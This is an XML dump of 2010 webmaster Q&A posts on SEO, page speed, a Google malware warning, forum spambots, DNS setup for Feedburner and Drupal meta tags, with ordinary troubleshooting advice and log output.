  <row Id="7006" PostHistoryTypeId="5" PostId="3577" RevisionGUID="5ac8c8e9-07a0-4749-b3f7-733ee5e674e0" CreationDate="2010-10-06T13:14:00.593" UserId="1253" Comment="deleted 45 characters in body" Text="No. They do not. And your logic is spot on. &#xD;&#xA;&#xD;&#xA;- They don't know how much traffic any sites gets unless it is using Google Analytics which is only a tiny portion of all websites.&#xD;&#xA;&#xD;&#xA;- Traffic is not an indicator of content quality or relevance. &#xD;&#xA;&#xD;&#xA;- It can be easily manipulated. You can have your own bots reload your pages constantly or run an ad campaign that boosts your traffic.&#xD;&#xA;&#xD;&#xA;- It's a self fulfilling prophecy. Sites that rank #1 in Google will get more traffic then the sites below it. As a result it will get more traffic which will help keep it ranked above the other sites. " />
  <row Id="7007" PostHistoryTypeId="2" PostId="3578" RevisionGUID="208a258d-412d-4bdf-8bcf-a42107640f6c" CreationDate="2010-10-06T14:49:39.513" UserId="108" Text="I am not sure what you mean by preloader.  You can't load anything on a page before you go  to it unless it is something that is re-used on a page that was already hit or is loaded on an earlier page in anticipation (this isn't a good idea).&#xD;&#xA;&#xD;&#xA;You can use JavaScript to lazy-load header and footers by loading the header and footer with all empty tags that have IDs and then load them later with JavaScript.  In general I wouldn't suggest doing this as it adds a lot of extra work and can make your page bigger.  You will have extra JavaScript and you didn't really gain anything.&#xD;&#xA;&#xD;&#xA;What I would suggest is lazy loading your images with JavaScript as they appear to be a major portion of your page.  Also, try your page out in Fire Fox and install Firebug and YSlow.  This will help you see why your page is slower.&#xD;&#xA;&#xD;&#xA;Here are a couple of things I noticed specifically and that you can do right away:&#xD;&#xA;&#xD;&#xA; 1. Combine and minify your CSS files.  You have 6 right now.  You have overhead for each file you load.&#xD;&#xA; 2. Use browser cache to cache the images used on your site.  That way people will only have 1 page load slowly for them.  After that the images will be pulled from their cache.&#xD;&#xA; 3. Specify width and height of all of your images.  This will decrease load time.&#xD;&#xA; 4. Minify your html&#xD;&#xA; 5. Minify your images.  They are 11% larger than they need to be.&#xD;&#xA; 6. Put images on a cookieless domain to make them load faster.&#xD;&#xA; 7. Sprite smaller images that you use over and over again.  This will reduce the number of http calls required for each page to load.&#xD;&#xA;&#xD;&#xA;Finally, another thing that might be able to help you is caching things on your server.  If you site has a lot of database queries for content that rarely or never changes, cache the results of  queries in your servers cache.  This will make server processing time go down.  Companies like Facebook do this to the point where 99% of their content is in the server cache.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7008" PostHistoryTypeId="2" PostId="3579" RevisionGUID="b20abccb-a367-42b2-9ba2-8b5ae2622742" CreationDate="2010-10-06T15:04:59.687" UserId="2228" Text="As @John stated your logic is correct. I'll add that even with Google Analytics, Google wouldn't try to correlate and analyze the traffic data from it to affect your ranking because GA is just another web service. I just don't see them using it to analyze your sites." />
  <row Id="7009" PostHistoryTypeId="2" PostId="3580" RevisionGUID="a766356f-2099-4a78-81f0-5978b2f791ea" CreationDate="2010-10-06T15:11:26.187" UserId="2228" Text="Don't remove it, it's good for you as long as the text written in the element &quot;makes sense&quot; in relation to your icons. Also, you may add additional descriptors through the &quot;title&quot; attribute if you so choose.&#xD;&#xA;&#xD;&#xA;I'm not going to pretend to be an expert and say it will improve your SEO, *but* following logic and how Google for example likes well formatted HTML, I can only *assume* it reads everything and utilizes all relevant information to analyze and rank your site." />
  <row Id="7010" PostHistoryTypeId="2" PostId="3581" RevisionGUID="a81e3c73-7a63-4e6b-ae26-106f197c7ec3" CreationDate="2010-10-06T15:58:13.720" UserId="1155" Text="I've inherited the development of a site that I designed but did not build - actually two sites. `http://kenbrook.org` and `http://kenbrookyouth.com` (same site also via `http://youth.kenbrook.org`).&#xD;&#xA;&#xD;&#xA;So recently kenbrook.org started displaying a  red warning page when entering the site via Google's Chrome browser that said the site contained either malware or links to a site with known malware. After some research and help from [other StackExchange users on this post][1], I discovered there was an added piece in one of my javascripts that was the issue. I don't even know how the script additions got there, or what they were really linking to, but I removed them and all was well (again, I didn't build that site so I'm not even familiar much with the scripts yet).&#xD;&#xA;&#xD;&#xA;But now the same Google warning is appearing for kenbrookyouth.com (youth.kenbrook.org) and I'm not sure where to start with looking for the problem.&#xD;&#xA;&#xD;&#xA;Any tips? And no, I don't think the same script that was vulnerable on the other site even exists on this site. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3379123/my-site-has-been-tagged-as-malware-by-chrome-what-now-closed" />
  <row Id="7011" PostHistoryTypeId="1" PostId="3581" RevisionGUID="a81e3c73-7a63-4e6b-ae26-106f197c7ec3" CreationDate="2010-10-06T15:58:13.720" UserId="1155" Text="Google is giving a &quot;Malware Warning&quot; on my site, but why??" />
  <row Id="7012" PostHistoryTypeId="3" PostId="3581" RevisionGUID="a81e3c73-7a63-4e6b-ae26-106f197c7ec3" CreationDate="2010-10-06T15:58:13.720" UserId="1155" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="7013" PostHistoryTypeId="2" PostId="3582" RevisionGUID="3f004a76-9e6b-49e3-895d-5b07b03a1bd4" CreationDate="2010-10-06T16:00:29.523" UserId="1253" Text="Sign up for [Google Webmaster Tools][1] and add those websites. There will be a message for you explaining why you are getting that message.&#xD;&#xA;&#xD;&#xA;BTW, I don't get any warnings in Chrome when I visit that site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/home?hl=en" />
  <row Id="7014" PostHistoryTypeId="2" PostId="3583" RevisionGUID="e1652569-aeb3-4b66-8297-29960e0839be" CreationDate="2010-10-06T17:11:17.667" UserId="1074" Text="See [this][1]&#xD;&#xA;&#xD;&#xA;It's almost certain that one of your open source scripts has been compromised.  Not a &quot;hack&quot; on the site in the normal sense, but a script somewhere was bypassed, allowing them to script inject your site with some malicious code.&#xD;&#xA;&#xD;&#xA;If you view the source of a page that's throwing the error, you should see some strange javascript, likely at or near the bottom of the page, that wasn't there before.  That's what you remove.&#xD;&#xA;&#xD;&#xA;Make sure you update your scripts if it was an open source piece of software that caused it.  I've seen the problem with Joomla, Wordpress, phpBB, and phpMyAdmin.  I'm sure others out there are vulnerable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3818689/need-help-identifying-malicious-javascript-code-that-was-placed-on-my-hacked-webs/3818735#3818735" />
  <row Id="7015" PostHistoryTypeId="2" PostId="3584" RevisionGUID="cea471c1-a4c3-4096-96ac-b2c548f36fa6" CreationDate="2010-10-06T17:14:29.200" UserId="1802" Text="For web graphics, fireworks takes the cake, in my opinion. Very streamlined and easy to use and is geared towards making shapes and doing fonts and the tasks that you need for making websites. It is definitely not a photo editor. " />
  <row Id="7016" PostHistoryTypeId="2" PostId="3585" RevisionGUID="ec924aba-c46d-4bc5-acbd-fb277cd5ea77" CreationDate="2010-10-06T17:30:49.917" UserId="835" Text="I have recently setup Wordpress Multisite and have that working well. Now to complete the branding, I want to use `feeds.mydomain.com` for the MyBrand integration to Feedburner. I have setup the CNAME to point to the server that Feedburner has specified, but when I visit the site (after ensuring the entry could propagate), WordPress takes over thinking I want to create a new website. I am guessing this is a DNS issue, but I am not sure where to begin to troubleshoot this further." />
  <row Id="7017" PostHistoryTypeId="1" PostId="3585" RevisionGUID="ec924aba-c46d-4bc5-acbd-fb277cd5ea77" CreationDate="2010-10-06T17:30:49.917" UserId="835" Text="Feedburner and Wordpress Mulitsite" />
  <row Id="7018" PostHistoryTypeId="3" PostId="3585" RevisionGUID="ec924aba-c46d-4bc5-acbd-fb277cd5ea77" CreationDate="2010-10-06T17:30:49.917" UserId="835" Text="&lt;wordpress&gt;&lt;dns&gt;" />
  <row Id="7019" PostHistoryTypeId="4" PostId="3585" RevisionGUID="5bb13782-1efe-4a5f-82ba-50d429e65501" CreationDate="2010-10-06T17:34:47.100" UserId="108" Comment="edited title" Text="Feedburner and Wordpress Multisite" />
  <row Id="7020" PostHistoryTypeId="2" PostId="3586" RevisionGUID="8422baf6-d294-410a-8400-117166447ae8" CreationDate="2010-10-06T17:41:32.767" UserId="108" Text="I use Paint.Net when I need something quick and dirty. It supports layers and a few other things that make it far better than plain old Paint.  It is free and easy to use." />
  <row Id="7021" PostHistoryTypeId="2" PostId="3587" RevisionGUID="e609c8fa-fdd6-4878-a7a1-87b33292b48c" CreationDate="2010-10-06T17:46:29.340" UserId="2221" Text="The domain name is very important.&#xD;&#xA;Here is some ideas based on my experience.&#xD;&#xA;&#xD;&#xA;1. People love to see a good domain name that matches their search keywords. If they see it, they click it. A good domain name is a **click-magnet**.&#xD;&#xA;2. Google search engine loves to see an **exact match** between the search keywords and the domain name.&#xD;&#xA;3. There is a self-reinforcing loop because of 1. and 2. Since people click on it, Google rank the site higher, etc.&#xD;&#xA;&#xD;&#xA;Keep in mind that most search queries have 1 or 2 keywords. Long tail is just what it is: it's long tail, which means it's the rest...&#xD;&#xA;&#xD;&#xA;Estibot has a very good [PDF doc for free about domain development][1] that explains basically just that (without the self-reinforcing theory which is my TM).&#xD;&#xA;&#xD;&#xA;Other good example:&#xD;&#xA;if you search &quot;ebook&quot;, ebook.com ranks #1 although it's absolutely not a key player in that field. They are actually selling the domain name because they exit this market...&#xD;&#xA;&#xD;&#xA;I am not saying the domain name will alone ensure a SERP 1.&#xD;&#xA;But it's the fundament of your SEO. Backlinks, Pagerank, etc will not replace a good domain name. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://estibotpro.com/downloads/estibot_guide.pdf" />
  <row Id="7022" PostHistoryTypeId="5" PostId="3577" RevisionGUID="8c2287ff-09c8-4281-be74-ce2f96bb72f8" CreationDate="2010-10-06T17:58:28.923" UserId="1253" Comment="added 280 characters in body" Text="No. They do not. And your logic is spot on. &#xD;&#xA;&#xD;&#xA;- They don't know how much traffic any sites gets unless it is using Google Analytics which is only a tiny portion of all websites.&#xD;&#xA;&#xD;&#xA;- Traffic is not an indicator of content quality or relevance. &#xD;&#xA;&#xD;&#xA;- It can be easily manipulated. You can have your own bots reload your pages constantly or run an ad campaign that boosts your traffic. Or just trick people in coming to your site. A visit is a visit.&#xD;&#xA;&#xD;&#xA;- It's a self fulfilling prophecy. Sites that rank #1 in Google will get more traffic then the sites below it. As a result it will get more traffic which will help keep it ranked above the other sites. &#xD;&#xA;&#xD;&#xA;- It doesn't take into account how long someone was on a page. If someone visited the page and then immediately left because they didn't like it or it wasn't what they were looking for it still would be a visit." />
  <row Id="7023" PostHistoryTypeId="2" PostId="3588" RevisionGUID="38fdf255-2cd2-45a8-8f52-5e66ee304449" CreationDate="2010-10-06T18:54:36.283" UserId="32" Text="I have a forum that's getting hit a lot by forum spambots, and of course the best way to defeat something is to know thy enemy. I'll worry about defeating those spambots later, but right now I'd like to know more about them. Reading around, I felt surprised about the lack of thorough information on the subject (or perhaps my ineptness to input the correct search terms for better google results). &#xD;&#xA;&#xD;&#xA;I'm interested in learning all about spambots. I've asked on other forums and gotten brush-off answers like &quot;Spambots are always users registering on your site.&quot;&#xD;&#xA;&#xD;&#xA; - **How do forum spambots work?**&#xD;&#xA; - How do they find the 'new user registration' page? (I'm especially surprised because some forums don't have a dedicated URL for this eg, www.forum.com/register.html , but instead use query strings or even other methods invisible to the URL bar)&#xD;&#xA; - How do they know what to enter into each 'new user registration' field?&#xD;&#xA; - How do they determine what's a page they can spam / enter data into and what is not?&#xD;&#xA; - Do they even 'view' this page at all? &#xD;&#xA; - ..If not, then I'd assume they're communicating with the server directly - how is  - this possible? How do they do it?&#xD;&#xA; - Can forum spambots break CAPTCHAs? Can they solve logic questions (how?)? Math questions?&#xD;&#xA; - Do they reverse-engineer client-side anti-bot validation scripts? Server-side scripts?&#xD;&#xA; - What techniques are still valid to prevent them? &#xD;&#xA; - Where do spambots come from? Is someone sitting behind the computer snickering as they watch their bot destroy site after site? Or are they snickering as they simply 'release' it onto the internet somehow? Are spambots 'run' by an infected computer somewhere? Do they replicate themselves?&#xD;&#xA; - etc" />
  <row Id="7024" PostHistoryTypeId="1" PostId="3588" RevisionGUID="38fdf255-2cd2-45a8-8f52-5e66ee304449" CreationDate="2010-10-06T18:54:36.283" UserId="32" Text="How do spambots work?" />
  <row Id="7025" PostHistoryTypeId="3" PostId="3588" RevisionGUID="38fdf255-2cd2-45a8-8f52-5e66ee304449" CreationDate="2010-10-06T18:54:36.283" UserId="32" Text="&lt;spam&gt;&lt;botattack&gt;" />
  <row Id="7026" PostHistoryTypeId="2" PostId="3589" RevisionGUID="0b5558b9-bcb5-40c5-b0ee-10b12280d4fb" CreationDate="2010-10-06T19:02:34.257" UserId="1647" Text="This is probably a DNS issue. Make sure `feeds.mydomain.com` points to Feedburner. You can easily check it running a DNS query.&#xD;&#xA;&#xD;&#xA;With Linux/MacOSX, use the `dig` command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ dig feeds.engadget.com&#xD;&#xA;&#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.6.0-APPLE-P2 &lt;&lt;&gt;&gt; feeds.engadget.com&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 19666&#xD;&#xA;    ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0&#xD;&#xA;&#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;feeds.engadget.com.		IN	A&#xD;&#xA;&#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    feeds.engadget.com.	2010	IN	CNAME	weblogsinc.feedproxy.ghs.google.com.&#xD;&#xA;    weblogsinc.feedproxy.ghs.google.com. 28	IN CNAME ghs.l.google.com.&#xD;&#xA;    ghs.l.google.com.	200	IN	A	74.125.77.121&#xD;&#xA;&#xD;&#xA;    ;; Query time: 78 msec&#xD;&#xA;    ;; SERVER: 85.37.17.16#53(85.37.17.16)&#xD;&#xA;    ;; WHEN: Wed Oct  6 20:56:36 2010&#xD;&#xA;    ;; MSG SIZE  rcvd: 118&#xD;&#xA;&#xD;&#xA;You can also run a DNS query using an online service, e.g. [DNS Query][1]. The DNS response should be a CNAME record pointing to `ghs.l.google.com`. If it is an `A` record, the DNS hasn't been property set.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dnsqueries.com/en/dns_query.php" />
  <row Id="7027" PostHistoryTypeId="2" PostId="3590" RevisionGUID="32733773-ff25-480f-b66d-b6b6c47805ed" CreationDate="2010-10-06T19:08:27.347" UserId="835" Text="It's definitely a DNS cache issue. I just tried a different computer and it worked. I didn't think about that until after I posted this." />
  <row Id="7028" PostHistoryTypeId="2" PostId="3591" RevisionGUID="4fb9437c-3d00-4ea9-8620-f8f747b049cc" CreationDate="2010-10-06T19:45:48.003" UserId="32" Text="I have a forum that's getting a bunch of spam bot registrations.&#xD;&#xA;&#xD;&#xA;Here's what's happened:&#xD;&#xA;&#xD;&#xA; - lots of spambots&#xD;&#xA; - added static logic question (as a picture), static math question, honeypot field&#xD;&#xA; - still lots of spambots&#xD;&#xA; - added a built-in CAPTCHA&#xD;&#xA; - still lots of spambots&#xD;&#xA; - banned a bunch of known spam domain emails like @spam.xxx &#xD;&#xA; - spam cut in half, but still lots of spam from spambots on other domains I don't want to block (like gmail, yahoo)&#xD;&#xA;&#xD;&#xA;I'm really, really baffled at how spambots are still getting through my measures and registering. How is this happening?&#xD;&#xA;&#xD;&#xA;Here's my registration page:&#xD;&#xA;&#xD;&#xA;![registration page][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/7CyrX.jpg" />
  <row Id="7029" PostHistoryTypeId="1" PostId="3591" RevisionGUID="4fb9437c-3d00-4ea9-8620-f8f747b049cc" CreationDate="2010-10-06T19:45:48.003" UserId="32" Text="How are spambots registering on my website?" />
  <row Id="7030" PostHistoryTypeId="3" PostId="3591" RevisionGUID="4fb9437c-3d00-4ea9-8620-f8f747b049cc" CreationDate="2010-10-06T19:45:48.003" UserId="32" Text="&lt;spam&gt;&lt;botattack&gt;" />
  <row Id="7031" PostHistoryTypeId="2" PostId="3592" RevisionGUID="039ca803-f08e-4f28-9142-fb896e30746c" CreationDate="2010-10-06T20:39:33.503" UserId="1064" Text="&gt; ... added static logic question (as a&#xD;&#xA;&gt; picture), static math question ...&#xD;&#xA;&#xD;&#xA;Is that to say that the question is always the same? It won't help, if so - consider that whomever is operating the spam bots is likely looking at your registration form and adjusting the spam bots' operations accordingly.&#xD;&#xA;&#xD;&#xA;Without seeing the underlying code (plus your server logs and settings) it's hard to say exactly what's going on, but you might consider that whomever is operating the spam bots is aware of an exploit in the software you are using (ala PHP's register_globals) as well.&#xD;&#xA;&#xD;&#xA;Consider looking up potential exploits for the software you are using, updating with any and all available patches (to include patches for plugins), and implementing [reCAPTCHA][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/recaptcha" />
  <row Id="7032" PostHistoryTypeId="2" PostId="3593" RevisionGUID="9e07af4b-6e7e-49df-b254-df0596cb3003" CreationDate="2010-10-06T20:54:12.860" UserId="1064" Text="&gt; How do forum spambots work?&#xD;&#xA;&#xD;&#xA;Talented (if evil) programmers write them - there are probably as many different types of spambots as there are people writing them but, unfortunately, it only takes a few spambot authors sharing and selling their work to ruin life for administrators...&#xD;&#xA;&#xD;&#xA;One popular forum spamming application is called &quot;xrumer&quot; - here's a [video of xrumer in action][1] (note that there is a fair amount of human intervention required to get it set up).&#xD;&#xA;&#xD;&#xA;While I realize that this doesn't answer all of your questions, I think it bears mentioning that anything a bot can't do well (like solve complex non-static logic questions) can be done by a low-paid worker overseas. Spamming is a business much like any other and there is no shortage of cheap labor being plied toward putting spam messages out there.&#xD;&#xA;&#xD;&#xA;  [1]: http://pandalabs.pandasecurity.com/blogs/images/PandaLabs/2007/07/24/xrumer.swf" />
  <row Id="7033" PostHistoryTypeId="2" PostId="3594" RevisionGUID="b216e280-1b3b-4ce9-a85c-be6079ddc14e" CreationDate="2010-10-06T22:12:54.157" UserId="996" Text="Godaddy windows shared hosting on IIS6, but will probably migrate to IIS7 soon.&#xD;&#xA;&#xD;&#xA;Is there easy way to setup folder with password protection, so when I try to access secure folder, login dialog pops up?" />
  <row Id="7034" PostHistoryTypeId="1" PostId="3594" RevisionGUID="b216e280-1b3b-4ce9-a85c-be6079ddc14e" CreationDate="2010-10-06T22:12:54.157" UserId="996" Text="Godaddy - folder with password protection" />
  <row Id="7035" PostHistoryTypeId="3" PostId="3594" RevisionGUID="b216e280-1b3b-4ce9-a85c-be6079ddc14e" CreationDate="2010-10-06T22:12:54.157" UserId="996" Text="&lt;web-hosting&gt;&lt;security&gt;&lt;authentication&gt;&lt;login&gt;" />
  <row Id="7036" PostHistoryTypeId="2" PostId="3595" RevisionGUID="5ba4f446-6a47-4d01-aa20-4c8774583203" CreationDate="2010-10-06T23:31:24.540" UserDisplayName="MikeK2" Text="I have read that some use the [iMacros Firefox/IE browser addon to simulate traffic][1]. &#xD;&#xA;&#xD;&#xA;Does it work? Some claim yes, but did never try it myself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iopus.com/imacros/firefox/" />
  <row Id="7037" PostHistoryTypeId="2" PostId="3596" RevisionGUID="037be13f-7b18-42ae-b52d-69db89fea599" CreationDate="2010-10-07T00:54:29.240" UserId="252" Text="I would like to be able to specify some meta keywords and meta descriptions for some of my pages in our Drupal system. However, there does not appear to be a way to do that within Drupal (at least out of the box). I've seen some references to some Drupal modules which might allow you to do this, but it doesn't look like they've been updated in a long time. Any suggestions?&#xD;&#xA;&#xD;&#xA;As a correlary, if meta keywords and meta descriptions really aren't worth bothering with any more, is there a way I can tell Hubspot to stop reminding me to add them? :)" />
  <row Id="7038" PostHistoryTypeId="1" PostId="3596" RevisionGUID="037be13f-7b18-42ae-b52d-69db89fea599" CreationDate="2010-10-07T00:54:29.240" UserId="252" Text="Is there a way to specify meta keywords and descriptions with Drupal?" />
  <row Id="7039" PostHistoryTypeId="3" PostId="3596" RevisionGUID="037be13f-7b18-42ae-b52d-69db89fea599" CreationDate="2010-10-07T00:54:29.240" UserId="252" Text="&lt;seo&gt;&lt;drupal&gt;&lt;meta-keywords&gt;&lt;meta-description&gt;" />
  <row Id="7040" PostHistoryTypeId="2" PostId="3597" RevisionGUID="4307a182-3d2c-40dc-b76a-3afd25ee4003" CreationDate="2010-10-07T03:03:32.707" UserId="2139" Text="I've been happy with [Dotster](http://www.dotster.com), although they are a bit light on included features.  Pretty much no-nonsense." />
  <row Id="7041" PostHistoryTypeId="16" PostId="3597" RevisionGUID="4307a182-3d2c-40dc-b76a-3afd25ee4003" CreationDate="2010-10-07T03:03:32.707" UserId="-1" />
  <row Id="7042" PostHistoryTypeId="2" PostId="3598" RevisionGUID="f41890d0-4256-4d2c-b9e6-663c9ea6d4b7" CreationDate="2010-10-07T03:13:05.583" UserId="2235" Text="**JanRain vs VatLab**&#xD;&#xA;&#xD;&#xA;I noticed JanRain is good for users who want to login with other accounts (besides Facebook). &#xD;&#xA;&#xD;&#xA;But they do not seem to have features like **Facebook Invite** which is crucial to make the Website viral during the sign up process.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7043" PostHistoryTypeId="2" PostId="3599" RevisionGUID="1b370a76-def5-4edd-aa3c-dd0d5913a883" CreationDate="2010-10-07T05:01:31.703" UserId="1943" Text="We have set up on a VPS a WordPress blog. But, after we work a while, if we leave the tabs open in our browsers, there is upload traffic, in small chunks but quite often. We thought that it might be the WordPress's AutoSave feature, but we disabled it and the thing still continues. Here you have a small snippet from the log (the real domain URL replaced):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [06/Oct/2010:12:41:06] &quot;CONNECT connect://fooURL.com:443/&quot; 0 53692 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:07] &quot;CONNECT connect://fooURL.com:443/&quot; 0 2925 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:07] &quot;CONNECT connect://fooURL.com:443/&quot; 0 24279 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:08] &quot;CONNECT connect://fooURL.com:443/&quot; 0 2301 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:08] &quot;CONNECT connect://fooURL.com:443/&quot; 0 2269 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:09] &quot;CONNECT connect://fooURL.com:443/&quot; 0 37459 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:09] &quot;CONNECT connect://fooURL.com:443/&quot; 0 6220 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:09] &quot;CONNECT connect://fooURL.com:443/&quot; 0 4140 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:09] &quot;CONNECT connect://fooURL.com:443/&quot; 0 16508 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:09] &quot;CONNECT connect://fooURL.com:443/&quot; 0 5148 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:41:09] &quot;CONNECT connect://fooURL.com:443/&quot; 0 6268 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:43:03] &quot;CONNECT connect://fooURL.com:443/&quot; 0 34056 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:43:03] &quot;CONNECT connect://fooURL.com:443/&quot; 0 42002 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:43:30] &quot;CONNECT connect://fooURL.com:443/&quot; 0 2381 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;    [06/Oct/2010:12:43:31] &quot;CONNECT connect://fooURL.com:443/&quot; 0 8775 &quot;-&quot; &quot;Opera/9.80 (X11; Linux i686; U; en) Presto/2.6.30 Version/10.62&quot; - &quot;- -&quot; &quot;clean-sites,CONNECT,uncachable&#xD;&#xA;&#xD;&#xA;It is normal? If not, why? How can we get rid of it?" />
  <row Id="7044" PostHistoryTypeId="1" PostId="3599" RevisionGUID="1b370a76-def5-4edd-aa3c-dd0d5913a883" CreationDate="2010-10-07T05:01:31.703" UserId="1943" Text="High traffic by &quot;doin' nothing&quot;" />
  <row Id="7045" PostHistoryTypeId="3" PostId="3599" RevisionGUID="1b370a76-def5-4edd-aa3c-dd0d5913a883" CreationDate="2010-10-07T05:01:31.703" UserId="1943" Text="&lt;wordpress&gt;&lt;ssl&gt;&lt;traffic&gt;" />
  <row Id="7046" PostHistoryTypeId="2" PostId="3600" RevisionGUID="3c5feb17-b0f2-4887-b358-671b720c1248" CreationDate="2010-10-07T06:38:35.540" UserId="1988" Text="I'm using NodeWords: http://drupal.org/project/nodewords&#xD;&#xA;&#xD;&#xA;(but it does not run on Drupal 7, so your success will depend on what version of Drupal you are using for your site)&#xD;&#xA;&#xD;&#xA;Regarding the updates, the dev version was updated just yesterday, and the released version is not that old as to make me doubt its usefulness or support status.&#xD;&#xA;&#xD;&#xA;Meta descriptions will help Google show a description for your page under the search result instead of some random snippet of text taken from the page. It may be worth it just for that :)" />
  <row Id="7047" PostHistoryTypeId="2" PostId="3601" RevisionGUID="fc31d572-d86c-468a-bada-ca29b45da871" CreationDate="2010-10-07T09:41:00.307" UserId="2011" Text="There are two modules, http://drupal.org/project/legal and http://drupal.org/project/terms_of_use, that require you to accept on registration (I guess you found those already).&#xD;&#xA;&#xD;&#xA;What you need (accept on every login) is not a feature of those modules, as far as I know. However I think that is should not be too hard to write a custom module, re-using some of the code of one of those modules, that adds this checkbox to every login form.&#xD;&#xA;&#xD;&#xA;If you have not written modules before, check out the [module developer's guide][1] on drupal.org. You will have to use [hook_form_alter][2] to add a checkbox to the login form.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/developing/modules&#xD;&#xA;  [2]: http://api.drupal.org/api/function/hook_form_alter" />
  <row Id="7048" PostHistoryTypeId="5" PostId="3272" RevisionGUID="16fa3593-c544-45a1-a359-3455caa69e8d" CreationDate="2010-10-07T11:37:16.233" UserId="2067" Comment="added 9 characters in body" Text="Surely the biggest variable is the value of the adverts you attract, which depends on your content, and the click-through rate, which depends on the number of visitors?" />
  <row Id="7049" PostHistoryTypeId="2" PostId="3602" RevisionGUID="ab5105c6-eaab-410c-bd05-d0f5e22c8dba" CreationDate="2010-10-07T11:38:22.830" UserId="233" Text="You should be able to find out using the [Firebug][1] console in Firefox. Enable the console then open the page in question. You should see some lines like this appearing:&#xD;&#xA;&#xD;&#xA;    POST http://example/wp-admin/admin-ajax.php  200 OK  594ms&#xD;&#xA;    POST http://example/wp-admin/admin-ajax.php  200 OK  882ms&#xD;&#xA;	&#xD;&#xA;On my copy of WP it only appears to be the auto save function but perhaps there is a particular setting or plugin that's doing something else in your case.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://getfirebug.com/" />
  <row Id="7050" PostHistoryTypeId="2" PostId="3603" RevisionGUID="c39634be-0a85-4006-b18e-b0fbfc6b5b26" CreationDate="2010-10-07T12:52:55.930" UserId="1171" Text="How can I create a chat room like http://chat.meta.stackoverflow.com/ in my PHP website? I am looking for a free solution. Please help..." />
  <row Id="7051" PostHistoryTypeId="1" PostId="3603" RevisionGUID="c39634be-0a85-4006-b18e-b0fbfc6b5b26" CreationDate="2010-10-07T12:52:55.930" UserId="1171" Text="Chat like chat.meta.stackoverflow.com in my website" />
  <row Id="7052" PostHistoryTypeId="3" PostId="3603" RevisionGUID="c39634be-0a85-4006-b18e-b0fbfc6b5b26" CreationDate="2010-10-07T12:52:55.930" UserId="1171" Text="&lt;php&gt;&lt;chat&gt;" />
